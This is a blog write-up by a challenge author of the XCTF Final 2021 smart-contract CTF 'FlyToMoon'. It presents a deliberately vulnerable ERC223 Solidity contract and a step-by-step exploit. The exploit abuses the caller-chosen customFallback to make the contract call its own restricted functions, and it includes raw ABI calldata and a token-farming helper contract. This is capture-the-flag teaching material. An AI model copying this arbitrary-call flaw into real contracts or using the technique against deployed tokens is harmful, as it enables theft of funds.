Fork me on GitHub
pikachu's Blog

XCTF FINAL 2021 FlyToMoon

前言

  • XCTF FINAL 二次出题,清晰记得 19 年那次出题的痛,被各位师傅硬是玩成了 AWD 模式,惨惨
  • 回想出题模式由最开始的共享地址 -> 采取随机数部署不同的地址 -> geth + POA 禁用部分 API ,让选手有更公平的做题体验,防止“抄作业”,也算比较圆满了
  • 本次题目也比较水,借鉴 balsn-ElectionABI Encoding 考点,随便写写

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}

contract ERC223 is IERC223 {
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping (address => uint) private _balances;
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";

constructor (string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
decimals = 18;
}

function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}

function transfer(address to, uint value) public override returns (bool) {
return _transfer(msg.sender, to, value, "", _tokenFallback);
}

function transfer(address to, uint value, bytes memory data) public override returns (bool) {
return _transfer(msg.sender, to, value, data, _tokenFallback);
}

function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
return _transfer(msg.sender, to, value, data, customFallback);
}

function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;

if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}

function _mint(address to, uint value) internal {
require(to != address(0), "ERC223: mint to the zero address");
totalSupply += value;
_balances[to] += value;
emit Transfer(address(0), to, value, "");
}

function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}

contract FlyToMoon is ERC223 {
struct Person {
string name;
uint age;
string introduction;
}

address public owner;

bytes32[] Hashes;

uint public stage;
bool private flag1;
bool private flag2;
bool private flag3;
bool private flag4;
string public solved = "begin";

constructor() public ERC223("FlyToMoon", "FTM") {
owner = msg.sender;
}

modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "FlyToMoon: not authorized");
_;
}

function game1(address _person, Person memory person, bool flag) public {
require(stage==0 && flag);
require(person.age > 20, "BabyEncode: only your age > 20 can paly this game");
flag1 = true;
stage = 1;
}

function game2(uint from, uint idx, uint password, uint len, Person[] memory persons) public auth {
require(stage == 1);
require(Hashes[idx] == keccak256(abi.encode(persons)), "FlyToMoon: hash incorrect");
require(Hashes[idx+1] == keccak256(abi.encode(password)), "FlyToMoon: password incorrect");
require(Hashes[idx+2] == keccak256(abi.encode(len)), "FlyToMoon: len incorrect");
require(_stringCompare(persons[0].name, "btc") && _stringCompare(persons[1].introduction, "fly to moon"));
flag2 = true;
}

function game3(uint from, uint _len) public auth {
uint len;
require(stage == 2 && flag2);
assembly {
len := sload(6)
}
require(len==_len);
flag3 = true;
stage = 3;
}

function game4(uint _time, Person memory person, uint flag) public auth {
require(stage == 3);
require(_stringCompare(person.name, "pikapika"));
flag4 = true;
}

function sethash(bytes32 _hash) public {
Hashes.push(_hash);
}

function isSolved() public {
uint tmp;

assembly {
tmp := sload(8)
}

if (keccak256(abi.encodePacked(tmp)) == 0xffc411432425ed5cecf9384ab99646c1825e1fe40ce46b953350782d81a6ecc1) {
if (balanceOf(address(this)) == 10) {
solved = "Fly to Moon";
}
} else {
solved = "Tian Tai Jian";
}
}

function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "FlyToMoon: you're too greedy");
_mint(msg.sender, 1);
}

function _setStage(uint _stage, uint idx, string memory _command) public auth {
require(_stringCompare(_command, "Let me set stage, please!!!!!!!!"));
stage = _stage & 0xff;
for(uint i=0; i<=idx; i++) {
Hashes.push(0);
}
}

function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
}

Analyse

  • 具体分析过程及原因就不写了,不太懂的小伙伴可以翻一番前面的博客,自行理解的过程会比简单看一篇 WP 帮助更大 ~~其实是我偷懒 :D~~
  • 目标成功调用 game2game3
  1. 生成末尾为 01 的账户
    • 使用 transfer 调用 setstage(1)
1
2
3
4
to:    题目地址
value: 0
data: 0x4c6574206d65207365742073746167652c20706c656173652121212121212121
cus: "_setStage(uint256,uint256,string)"
  1. sethash(0x230fd66aacfe66f0e897312a7aefa3bcd51406d9831619983aca15c7f601ba77)
    • 下述脚本可计算 [[“btc”, 100, “test1”], [“test2”, 200, “fly to moon”]] 的编码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

contract Vault {
struct Person {
string name;
uint age;
string introduction;
}

function ballotEncode(Person[] memory persons) pure public returns (bytes32){
return keccak256(abi.encode(persons));
}
}
  1. sethash(0x41c7ae758795765c6664a5d39bf63841c71ff191e9189522bad8ebff5d4eca98)
1
keccak256(abi.encode(0x60))
  1. sethash(0xd971d7a75d56a87205c10f76d77a1984a94b99f0ba39ec86813b6d42a571a285)
1
keccak256(abi.encode(0x240))
  1. 使用末尾为 01 的账户调用 giveMeMoney()

  2. 使用 transfer 调用 game2(from, 1, 0x60, 0x240, [[“btc”, 100, “test1”], [“test2”, 200, “fly to moon”]])

1
2
3
4
to:    题目地址
value: 1
data: 0x00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003627463000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000057465737431000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000057465737432000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b666c7920746f206d6f6f6e000000000000000000000000000000000000000000
cus: "game2(uint256,uint256,uint256,uint256,(string,uint256,string)[])"
  1. 生成末尾为 02 的账户
    • 使用 transfer 调用 setstage(2)
1
2
3
4
to:    题目地址
value: 0
data: 0x4c6574206d65207365742073746167652c20706c656173652121212121212121
cus: "_setStage(uint256,uint256,string)"
  1. 使用下述脚本,times = 0x9, 使 02 账户金额为 0x9
1
2
3
4
5
6
7
8
9
10
contract son {
EncodeGame target = EncodeGame(题目地址);

function getmoney(uint times) public {
for (uint i=0; i<times; i++) {
target.giveMeMoney();
target.transfer(0x02账户, 1, "", "");
}
}
}
  1. 使用 transfer 调用 game3(from, 5)
1
2
3
4
to:    题目地址
value: 5
data: 0x01
cus: "game3(uint256,uint256)"
  1. 使用 transfer 调用 setstage(2)
1
2
3
4
to:    题目地址
value: 4
data: 0x4c6574206d65207365742073746167652c20706c656173652121212121212121
cus: "_setStage(uint256,uint256,string)"
  1. 调用 isSolved
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2021/xctf-final-2021/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!